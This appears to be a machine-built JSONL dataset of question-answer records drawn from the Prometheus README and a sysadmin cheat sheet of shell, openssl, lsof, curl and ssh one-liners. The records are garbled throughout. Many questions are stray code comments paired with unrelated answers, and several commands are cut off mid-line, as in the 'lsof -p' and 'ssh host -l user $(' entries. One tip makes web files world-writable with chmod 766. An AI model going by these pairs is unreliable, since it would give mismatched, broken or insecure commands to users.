"github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 62250, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364326"}
{"id": "gh_d88b5166150f", "question": "How to: Building the Docker image", "question_body": "About prometheus/prometheus", "answer": "You can build a docker image locally with the following commands:\n\n```bash\nmake promu\npromu crossbuild -p linux/amd64\nmake npm_licenses\nmake common-docker-amd64\n```\n\nThe `make docker` target is intended only for use in our CI system and will not\nproduce a fully working image when run locally.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 62250, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364332"}
{"id": "gh_5e9b702ed4c8", "question": "How to: Remote Write", "question_body": "About prometheus/prometheus", "answer": "We are publishing our Remote Write protobuf independently at\n[buf.build](https://buf.build/prometheus/prometheus/assets).\n\nYou can use that as a library:\n\n```shell\ngo get buf.build/gen/go/prometheus/prometheus/protocolbuffers/go@latest\n```\n\nThis is experimental.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 62250, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364339"}
{"id": "gh_97ec51fd5814", "question": "How to: Prometheus code base", "question_body": "About prometheus/prometheus", "answer": "In order to comply with [go mod](https://go.dev/ref/mod#versions) rules,\nPrometheus release number do not exactly match Go module releases.\n\nFor the\nPrometheus v3.y.z releases, we are publishing equivalent v0.3y.z tags. The y in v0.3y.z is always padded to two digits, with a leading zero if needed.\n\nTherefore, a user that would want to use Prometheus v3.0.0 as a library could do:\n\n```shell\ngo get github.com/prometheus/prometheus@v0.300.0\n```\n\nFor the\nPrometheus v2.y.z releases, we published the equivalent v0.y.z tags.\n\nTherefore, a user that would want to use Prometheus v2.35.0 as a library could do:\n\n```shell\ngo get github.com/prometheus/prometheus@v0.35.0\n```\n\nThis solution makes it clear that we might break our internal Go APIs between\nminor user-facing releases, as [breaking changes are allowed in major version\nzero](https://semver.org/#spec-item-4).", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 62250, "answer_score": 10, "has_code": true, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364346"}
{"id": "gh_e85f59513d3d", "question": "How to: React UI Development", "question_body": "About prometheus/prometheus", "answer": "For more information on building, running, and developing on the React-based UI, see the React app's [README.md](web/ui/README.md).", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 62250, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364351"}
{"id": "gh_49b3ee2536d3", "question": "How to: More information", "question_body": "About prometheus/prometheus", "answer": "* Godoc documentation is available via [pkg.go.dev](https://pkg.go.dev/github.com/prometheus/prometheus). Due to peculiarities of Go Modules, v3.y.z will be displayed as v0.3y.z (the y in v0.3y.z is always padded to two digits, with a leading zero if needed), while v2.y.z will be displayed as v0.y.z.\n* See the [Community page](https://prometheus.io/community) for how to reach the Prometheus developers and users on various communication channels.", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 62250, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364358"}
{"id": "gh_c4fb12fca924", "question": "How to: Contributing", "question_body": "About prometheus/prometheus", "answer": "Refer to [CONTRIBUTING.md](https://github.com/prometheus/prometheus/blob/main/CONTRIBUTING.md)", "tags": ["prometheus"], "source": "github_gists", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 62250, "answer_score": 10, "has_code": false, "url": "https://github.com/prometheus/prometheus", "collected_at": "2026-01-17T08:22:44.364363"}
{"id": "gh_b24179b58cf4", "question": "How to: :notebook_with_decorative_cover: &nbsp;What is it?", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "This repository is a collection of various materials and tools that I use every day in my work. It contains a lot of useful information gathered in one piece. It is an invaluable source of knowledge for me that I often look back on.", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368155"}
{"id": "gh_f09ae6574863", "question": "How to: :restroom: &nbsp;For whom?", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "For everyone, really. Here everyone can find their favourite tastes. But to be perfectly honest, it is aimed towards System and Network administrators, DevOps, Pentesters, and Security Researchers.", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368170"}
{"id": "gh_a0b152ae3747", "question": "How to: :information_source: &nbsp;Contributing", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "If you find something which doesn't make sense, or something doesn't seem right, please make a pull request and please add valid and well-reasoned explanations about your changes or comments.\n\nA few simple rules for this project:\n\n- inviting and clear\n- not tiring\n- useful\n\nThese below rules may be better:\n\n- easy to contribute to (Markdown + HTML ...)\n- easy to find (simple TOC, maybe it's worth extending them?)\n\nUrl marked **\\*** is temporary unavailable. Please don't delete it without confirming that it has permanently expired.\n\nBefore adding a pull request, please see the **[contributing guidelines](.github/CONTRIBUTING.md)**. You should also remember about this:\n\n```diff\n+ This repository is not meant to contain everything but only good quality stuff.\n```\n\nAll **suggestions/PR** are welcome!", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368179"}
{"id": "gh_6c30078576a1", "question": "How to: Code Contributors", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "This project exists thanks to all the people who contribute.", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368185"}
{"id": "gh_c213c857fdcd", "question": "How to: Financial Contributors", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368190"}
{"id": "gh_109c32e1b0c3", "question": "How to: :newspaper: &nbsp;RSS Feed & Updates", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "GitHub exposes an [RSS/Atom](https://github.com/trimstray/the-book-of-secret-knowledge/commits.atom) feed of the commits, which may also be useful if you want to be kept informed about all changes.", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368195"}
{"id": "gh_1ee4c8ba6dc0", "question": "How to: :ballot_box_with_check: &nbsp;ToDo", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "- [ ] Add new stuff...\n- [ ] Add useful shell functions\n- [ ] Add one-liners for collection tools (eg. CLI Tools)\n- [ ] Sort order in lists\n\nNew items are also added on a regular basis.", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368200"}
{"id": "gh_cecbb7c7b689", "question": "How to: :anger: &nbsp;Table of Contents", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "Only main chapters:\n\n- **[CLI Tools](#cli-tools-toc)**\n- **[GUI Tools](#gui-tools-toc)**\n- **[Web Tools](#web-tools-toc)**\n- **[Systems/Services](#systemsservices-toc)**\n- **[Networks](#networks-toc)**\n- **[Containers/Orchestration](#containersorchestration-toc)**\n- **[Manuals/Howtos/Tutorials](#manualshowtostutorials-toc)**\n- **[Inspiring Lists](#inspiring-lists-toc)**\n- **[Blogs/Podcasts/Videos](#blogspodcastsvideos-toc)**\n- **[Hacking/Penetration Testing](#hackingpenetration-testing-toc)**\n- **[Your daily knowledge and news](#your-daily-knowledge-and-news-toc)**\n- **[Other Cheat Sheets](#other-cheat-sheets-toc)**\n- **[Shell One-liners](#shell-one-liners-toc)**\n- **[Shell Tricks](#shell-tricks-toc)**\n- **[Shell Functions](#shell-functions-toc)**", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368209"}
{"id": "gh_b98f8b81ebc1", "question": "How to: :trident: &nbsp;The Book of Secret Knowledge (Chapters)", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "#### CLI Tools  [\n[TOC]\n](#anger-table-of-contents)\n\n##### :black_small_square: Shells\nGNU Bash\n- is an sh-compatible shell that incorporates useful features from the Korn shell and C shell.\nZsh\n- is a shell designed for interactive use, although it is also a powerful scripting language.\ntclsh\n- is a very powerful cross-platform shell, suitable for a huge range of uses.\nbash-it\n- is a framework for using, developing and maintaining shell scripts and custom commands.\nOh My ZSH!\n- is the best framework for managing your Zsh configuration.\nOh My Fish\n- the Fishshell framework.\nStarship\n- the cross-shell prompt written in Rust.\npowerlevel10k\n- is a fast reimplementation of Powerlevel9k ZSH theme.\n##### :black_small_square: Shell plugins\nz\n- tracks the folder you use the most and allow you to jump, without having to type the whole path.\nfzf\n- is a general-purpose command-line fuzzy finder.\nzsh-autosuggestions\n- Fish-like autosuggestions for Zsh.\nzsh-syntax-highlighting\n- Fish shell like syntax highlighting for Zsh.\nAwesome ZSH Plugins\n- A list of frameworks, plugins, themes and tutorials for ZSH.\n##### :black_small_square: Managers\nMidnight Commander\n- is a visual file manager, licensed under GNU General Public License.\nranger\n- is a VIM-inspired filemanager for the console.\nnnn\n- is a tiny, lightning fast, feature-packed file manager.\nscreen\n- is a full-screen window manager that multiplexes a physical terminal.\ntmux\n- is a terminal multiplexer, lets you switch easily between several programs in one terminal.\ntmux-cssh\n- is a tool to set comfortable and easy to use functionality tmux-sessions.\n##### :black_small_square: Text editors\nvi\n- is one of the most common text editors on Unix.\nvim\n- is a highly configurable text editor.\nemacs\n- is an extensible, customizable, free/libre text editor, and more.\nmicro\n- is a modern and intuitive terminal-based text editor.\nneovim\n- is a free open source, powerful, extensible and usable code editor.\nspacemacs\n- a community-driven Emacs distribution.\nspacevim\n- a community-driven vim distribution.\n##### :black_small_square: Files and directories\nfd\n- is a simple, fast and user-friendly alternative to find.\nncdu\n- is an easy to use, fast disk usage analyzer.\n##### :black_small_square: Network\nPuTTY\n- is an SSH and telnet client, developed originally by Simon Tatham.\nMosh\n- is a SSH wrapper designed to keep a SSH session alive over a volatile connection.\nEternal Terminal\n- enables mouse-scrolling and tmux commands inside the SSH session.\nnmap\n- is a free and open source (license) utility for network discovery and security auditing.\nzmap\n- is a fast single packet network scanner", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368879"}
{"id": "gh_e1361ca1c99a", "question": "How to: alternative: seq 1 2 10", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "for ((i=5; i<=10; ++i)) ; do printf '%02d\\n' $i ; done", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368905"}
{"id": "gh_27d467393112", "question": "How to: alternative: seq -w 5 10", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "for i in {1..10} ; do echo $i ; done\n```\n\n###### Simple Bash filewatching\n\n```bash\nunset MAIL; export MAILCHECK=1; export MAILPATH='$FILE_TO_WATCH?$MESSAGE'\n```\n\n---\n\n##### Tool: [busybox](https://www.busybox.net/)\n\n###### Static HTTP web server\n\n```bash\nbusybox httpd -p $PORT -h $HOME [-c httpd.conf]\n```\n\n___\n\n##### Tool: [mount](https://en.wikipedia.org/wiki/Mount_(Unix))\n\n###### Mount a temporary ram partition\n\n```bash\nmount -t tmpfs tmpfs /mnt -o size=64M\n```\n\n  * `-t` - filesystem type\n  * `-o` - mount options\n\n###### Remount a filesystem as read/write\n\n```bash\nmount -o remount,rw /\n```\n\n___\n\n##### Tool: [fuser](https://en.wikipedia.org/wiki/Fuser_(Unix))\n\n###### Show which processes use the files/directories\n\n```bash\nfuser /var/log/daemon.log\nfuser -v /home/supervisor\n```\n\n###### Kills a process that is locking a file\n\n```bash\nfuser -ki filename\n```\n\n  * `-i` - interactive option\n\n###### Kills a process that is locking a file with specific signal\n\n```bash\nfuser -k -HUP filename\n```\n\n  * `--list-signals` - list available signal names\n\n###### Show what PID is listening on specific port\n\n```bash\nfuser -v 53/udp\n```\n\n###### Show all processes using the named filesystems or block device\n\n```bash\nfuser -mv /var/www\n```\n\n___\n\n##### Tool: [lsof](https://en.wikipedia.org/wiki/Lsof)\n\n###### Show process that use internet connection at the moment\n\n```bash\nlsof -P -i -n\n```\n\n###### Show process that use specific port number\n\n```bash\nlsof -i tcp:443\n```\n\n###### Lists all listening ports together with the PID of the associated process\n\n```bash\nlsof -Pan -i tcp -i udp\n```\n\n###### List all open ports and their owning executables\n\n```bash\nlsof -i -P | grep -i \"listen\"\n```\n\n###### Show all open ports\n\n```bash\nlsof -Pnl -i\n```\n\n###### Show open ports (LISTEN)\n\n```bash\nlsof -Pni4 | grep LISTEN | column -t\n```\n\n###### List all files opened by a particular command\n\n```bash\nlsof -c \"process\"\n```\n\n###### View user activity per directory\n\n```bash\nlsof -u username -a +D /etc\n```\n\n###### Show 10 largest open files\n\n```bash\nlsof / | \\\nawk '{ if($7 > 1048576) print $7/1048576 \"MB\" \" \" $9 \" \" $1 }' | \\\nsort -n -u | tail | column -t\n```\n\n###### Show current working directory of a process\n\n```bash\nlsof -p\n| grep cwd\n```\n\n___\n\n##### Tool: [ps](https://en.wikipedia.org/wiki/Ps_(Unix))\n\n###### Show a 4-way scrollable process tree with full details\n\n```bash\nps awwfux | less -S\n```\n\n###### Processes per user counter\n\n```bash\nps hax -o user | sort | uniq -c | sort -r\n```\n\n###### Show all processes by name with main header\n\n```bash\nps -lfC nginx\n```\n\n___\n\n##### Tool: [find](https://en.wikipedia.org/wiki/Find_(Unix))\n\n###### Find files that have been modified on your system in the past 60 minutes\n\n```bash\nfind / -mmin 60 -type f\n```\n\n###### Find all files larger than 20M\n\n```bash\nfind / -type f -size +20M\n```\n\n###### Find duplicate files (based on MD5 hash)\n\n```bash\nfind -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33\n```\n\n###### Change permission only for files\n\n```bash\ncd /var/www/site && find . -type f -exec chmod 766 {} \\;\ncd /var/www/site && find . -type f -exec chmod 664 {} +\n```\n\n###### Change permission only for directories\n\n```bash\ncd /var/www/site && find . -type d -exec chmod g+x {} \\;\ncd /var/www/site && find . -type d -exec chmod g+rwx {} +\n```\n\n###### Find files and directories for specific user/group\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368918"}
{"id": "gh_182c4457333b", "question": "How to: Replay session", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "scriptreplay --timing=session.time session.log\n```\n\n___\n\n##### Tool: [du](https://en.wikipedia.org/wiki/GNU_Screen)\n\n###### Show 20 biggest directories with 'K M G'\n\n```bash\ndu | \\\nsort -r -n | \\\nawk '{split(\"K M G\",v); s=1; while($1>1024){$1/=1024; s++} print int($1)\" \"v[s]\"\\t\"$2}' | \\\nhead -n 20\n```\n\n___\n\n##### Tool: [inotifywait](https://en.wikipedia.org/wiki/GNU_Screen)\n\n###### Init tool everytime a file in a directory is modified\n\n```bash\nwhile true ; do inotifywait -r -e MODIFY dir/ && ls dir/ ; done;\n```\n\n___\n\n##### Tool: [openssl](https://www.openssl.org/)\n\n###### Testing connection to the remote host\n\n```bash\necho | openssl s_client -connect google.com:443 -showcerts\n```\n\n###### Testing connection to the remote host (debug mode)\n\n```bash\necho | openssl s_client -connect google.com:443 -showcerts -tlsextdebug -status\n```\n\n###### Testing connection to the remote host (with SNI support)\n\n```bash\necho | openssl s_client -showcerts -servername google.com -connect google.com:443\n```\n\n###### Testing connection to the remote host with specific ssl version\n\n```bash\nopenssl s_client -tls1_2 -connect google.com:443\n```\n\n###### Testing connection to the remote host with specific ssl cipher\n\n```bash\nopenssl s_client -cipher 'AES128-SHA' -connect google.com:443\n```\n\n###### Verify 0-RTT\n\n```bash\n_host=\"example.com\"\n\ncat > req.in << __EOF__\nHEAD / HTTP/1.1\nHost: $_host\nConnection: close\n__EOF__\n\nopenssl s_client -connect ${_host}:443 -tls1_3 -sess_out session.pem -ign_eof < req.in\nopenssl s_client -connect ${_host}:443 -tls1_3 -sess_in session.pem -early_data req.in\n```\n\n###### Generate private key without passphrase\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368943"}
{"id": "gh_aba3f405e583", "question": "How to: _len: 2048, 4096", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "( _fd=\"private.key\" ; _len=\"2048\" ; \\\nopenssl genrsa -out ${_fd} ${_len} )\n```\n\n###### Generate private key with passphrase\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368947"}
{"id": "gh_6acdd46a44ae", "question": "How to: _ciph: aes128, aes256", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "( _ciph=\"aes128\" ; _fd=\"private.key\" ; _fd_pass=\"private_pass.key\" ; \\\nopenssl rsa -${_ciph} -in ${_fd} -out ${_fd_pass}\n```\n\n###### Check private key\n\n```bash\n( _fd=\"private.key\" ; \\\nopenssl rsa -check -in ${_fd} )\n```\n\n###### Get public key from private key\n\n```bash\n( _fd=\"private.key\" ; _fd_pub=\"public.key\" ; \\\nopenssl rsa -pubout -in ${_fd} -out ${_fd_pub} )\n```\n\n###### Generate private key and CSR\n\n```bash\n( _fd=\"private.key\" ; _fd_csr=\"request.csr\" ; _len=\"2048\" ; \\\nopenssl req -out ${_fd_csr} -new -newkey rsa:${_len} -nodes -keyout ${_fd} )\n```\n\n###### Generate CSR\n\n```bash\n( _fd=\"private.key\" ; _fd_csr=\"request.csr\" ; \\\nopenssl req -out ${_fd_csr} -new -key ${_fd} )\n```\n\n###### Generate CSR (metadata from existing certificate)\n\n  > Where `private.key` is the existing private key. As you can see you do not generate this CSR from your certificate (public key). Also you do not generate the \"same\" CSR, just a new one to request a new certificate.\n\n```bash\n( _fd=\"private.key\" ; _fd_csr=\"request.csr\" ; _fd_crt=\"cert.crt\" ; \\\nopenssl x509 -x509toreq -in ${_fd_crt} -out ${_fd_csr} -signkey ${_fd} )\n```\n\n###### Generate CSR with -config param\n\n```bash\n( _fd=\"private.key\" ; _fd_csr=\"request.csr\" ; \\\nopenssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \\\n-config <(\ncat << __EOF__\n[req]\ndefault_bits        = 2048\ndefault_md          = sha256\nprompt              = no\ndistinguished_name  = dn\nreq_extensions      = req_ext\n\n[ dn ]\nC   = \"\n\"\nST  = \"\n\"\nL   = \"\n\"\nO   = \"\n\"\nOU  = \"\n\"\nCN  = \"\n\"\n\n[ req_ext ]\nsubjectAltName = @alt_names\n\n[ alt_names ]\nDNS.1 =\nDNS.2 =\nDNS.3 =\n__EOF__\n))\n```\n\nOther values in `[ dn ]`:\n\n```\ncountryName            = \"DE\"                     # C=\nstateOrProvinceName    = \"Hessen\"                 # ST=\nlocalityName           = \"Keller\"                 # L=\npostalCode             = \"424242\"                 # L/postalcode=\npostalAddress          = \"Keller\"                 # L/postaladdress=\nstreetAddress          = \"Crater 1621\"            # L/street=\norganizationName       = \"apfelboymschule\"        # O=\norganizationalUnitName = \"IT Department\"          # OU=\ncommonName             = \"example.com\"            # CN=\nemailAddress           = \"webmaster@example.com\"  # CN/emailAddress=\n```\n\nExample of `oids` (you'll probably also have to make OpenSSL know about the new fields required for EV by adding the following under `[new_oids]`):\n\n```\n[req]\n...\noid_section         = new_oids\n\n[ new_oids ]\npostalCode = 2.5.4.17\nstreetAddress = 2.5.4.9\n```\n\nFull example:\n\n```bash\n( _fd=\"private.key\" ; _fd_csr=\"request.csr\" ; \\\nopenssl req -new -sha256 -key ${_fd} -out ${_fd_csr} \\\n-config <(\ncat << __EOF__\n[req]\ndefault_bits        = 2048\ndefault_md          = sha256\nprompt              = no\ndistinguished_name  = dn\nreq_extensions      = req_ext\noid_section         = new_oids\n\n[ new_oids ]\nserialNumber = 2.5.4.5\nstreetAddress = 2.5.4.9\npostalCode = 2.5.4.17\nbusinessCategory = 2.5.4.15\n\n[ dn ]\nserialNumber=00001111\nbusinessCategory=Private Organization\njurisdictionC=DE\nC=DE\nST=Hessen\nL=Keller\npostalCode=424242\nstreetAddress=Crater 1621\nO=AV Company\nOU=IT\nCN=example.com\n\n[ req_ext ]\nsubjectAltName = @alt_names\n\n[ alt_names ]\nDNS.1 = example.com\n__EOF__\n))\n```\n\nFor more information please look at these great explanations:\n\n- [RFC 5280](https://tools.ietf.org/html/rfc5280)\n- [How to create multidomain certificates using config files](https://apfelboymchen.net/gnu/notes/openssl%20multidomain%20with%20config%20files.html)\n- [Generate a multi domains certificate using config files](https://gist.github.com/romainnorberg/464758a6620228b977212a3cf20c3e08)\n- [Your OpenSSL CSR command is out of date](https://expeditedsecurity.com/blog/openssl-csr-command/)\n- [OpenSSL example configuration file](https://www.tbs-certificats.com/openssl-dem-server-cert.cnf)\n- [Object Identifiers (OIDs)](https://www.alvestrand.no/objectid/)\n- [openssl objects.txt](https://github.com/openssl/openssl/blob/master/crypto/objects/objects.txt)\n\n###### List available EC curves\n\n```bash\nopenssl ecparam -list_curves\n```\n\n###### Print ECDSA private and public keys\n\n```bash\n( _fd=\"private.key\" ; \\\nopenssl ec -in ${_fd} -noout -text )", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368966"}
{"id": "gh_9f352355a6ca", "question": "How to: For x25519 only extracting public key", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "( _fd=\"private.key\" ; _fd_pub=\"public.key\" ; \\\nopenssl pkey -in ${_fd} -pubout -out ${_fd_pub} )\n```\n\n###### Generate ECDSA private key\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368972"}
{"id": "gh_918832f9dd36", "question": "How to: _curve: prime256v1, secp521r1, secp384r1", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "( _fd=\"private.key\" ; _curve=\"prime256v1\" ; \\\nopenssl ecparam -out ${_fd} -name ${_curve} -genkey )", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368977"}
{"id": "gh_8e82e4fd23b8", "question": "How to: _curve: X25519", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "( _fd=\"private.key\" ; _curve=\"x25519\" ; \\\nopenssl genpkey -algorithm ${_curve} -out ${_fd} )\n```\n\n###### Generate private key and CSR (ECC)\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.368982"}
{"id": "gh_3771bf400736", "question": "How to: PKCS#7 file doesn't include private keys.", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "( _fd_p7b=\"cert.p7b\" ; _fd_pem=\"cert.pem\" ; \\\nopenssl pkcs7 -inform DER -outform PEM -in ${_fd_p7b} -print_certs > ${_fd_pem})", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": false, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369004"}
{"id": "gh_01c7fa576c7a", "question": "How to: With shell 'for' loop:", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "for i in {1..20} ; do curl -ks https://example.com/ ; done\n```\n\n###### Check DNS and HTTP trace with headers for specific domains\n\n```bash", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369016"}
{"id": "gh_bfc06eb0190b", "question": "How to: Set domains and external dns servers.", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "_domain_list=(google.com) ; _dns_list=(\"8.8.8.8\" \"1.1.1.1\")\n\nfor _domain in \"${_domain_list[@]}\" ; do\n\n  printf '=%.0s' {1..48}\n\n  echo\n\n  printf \"[\\\\e[1;32m+\\\\e[m] resolve: %s\\\\n\" \"$_domain\"\n\n  for _dns in \"${_dns_list[@]}\" ; do\n\n    # Resolve domain.\n    host \"${_domain}\" \"${_dns}\"\n\n    echo\n\n  done\n\n  for _proto in http https ; do\n\n    printf \"[\\\\e[1;32m+\\\\e[m] trace + headers: %s://%s\\\\n\" \"$_proto\" \"$_domain\"\n\n    # Get trace and http headers.\n    curl -Iks -A \"x-agent\" --location \"${_proto}://${_domain}\"\n\n    echo\n\n  done\n\ndone\n\nunset _domain_list _dns_list\n```\n\n___\n\n##### Tool: [httpie](https://httpie.org/)\n\n```bash\nhttp -p Hh https://www.google.com\n```\n\n  * `-p` - print request and response headers\n    * `H` - request headers\n    * `B` - request body\n    * `h` - response headers\n    * `b` - response body\n\n```bash\nhttp -p Hh https://www.google.com --follow --verify no\n```\n\n  * `-F, --follow` - follow redirects\n  * `--verify no` - skip SSL verification\n\n```bash\nhttp -p Hh https://www.google.com --follow --verify no \\\n--proxy http:http://127.0.0.1:16379\n```\n\n  * `--proxy [http:]` - set proxy server\n\n##### Tool: [ssh](https://www.openssh.com/)\n\n###### Escape Sequence\n\n```", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369024"}
{"id": "gh_1741af48e258", "question": "How to: Supported escape sequences:", "question_body": "About trimstray/the-book-of-secret-knowledge", "answer": "~.  - terminate connection (and any multiplexed sessions)\n~B  - send a BREAK to the remote system\n~C  - open a command line\n~R  - Request rekey (SSH protocol 2 only)\n~^Z - suspend ssh\n~#  - list forwarded connections\n~&  - background ssh (when waiting for connections to terminate)\n~?  - this message\n~~  - send the escape character by typing it twice\n```\n\n###### Compare a remote file with a local file\n\n```bash\nssh user@host cat /path/to/remotefile | diff /path/to/localfile -\n```\n\n###### SSH connection through host in the middle\n\n```bash\nssh -t reachable_host ssh unreachable_host\n```\n\n###### Run command over SSH on remote host\n\n```bash\ncat > cmd.txt << __EOF__\ncat /etc/hosts\n__EOF__\n\nssh host -l user $(\n&1 | tee -a \"${_sesdir}/$(date +%Y%m%d).log\"\n\n}", "tags": ["trimstray"], "source": "github_gists", "category": "trimstray", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 202557, "answer_score": 10, "has_code": true, "url": "https://github.com/trimstray/the-book-of-secret-knowledge", "collected_at": "2026-01-16T23:27:24.369032"}
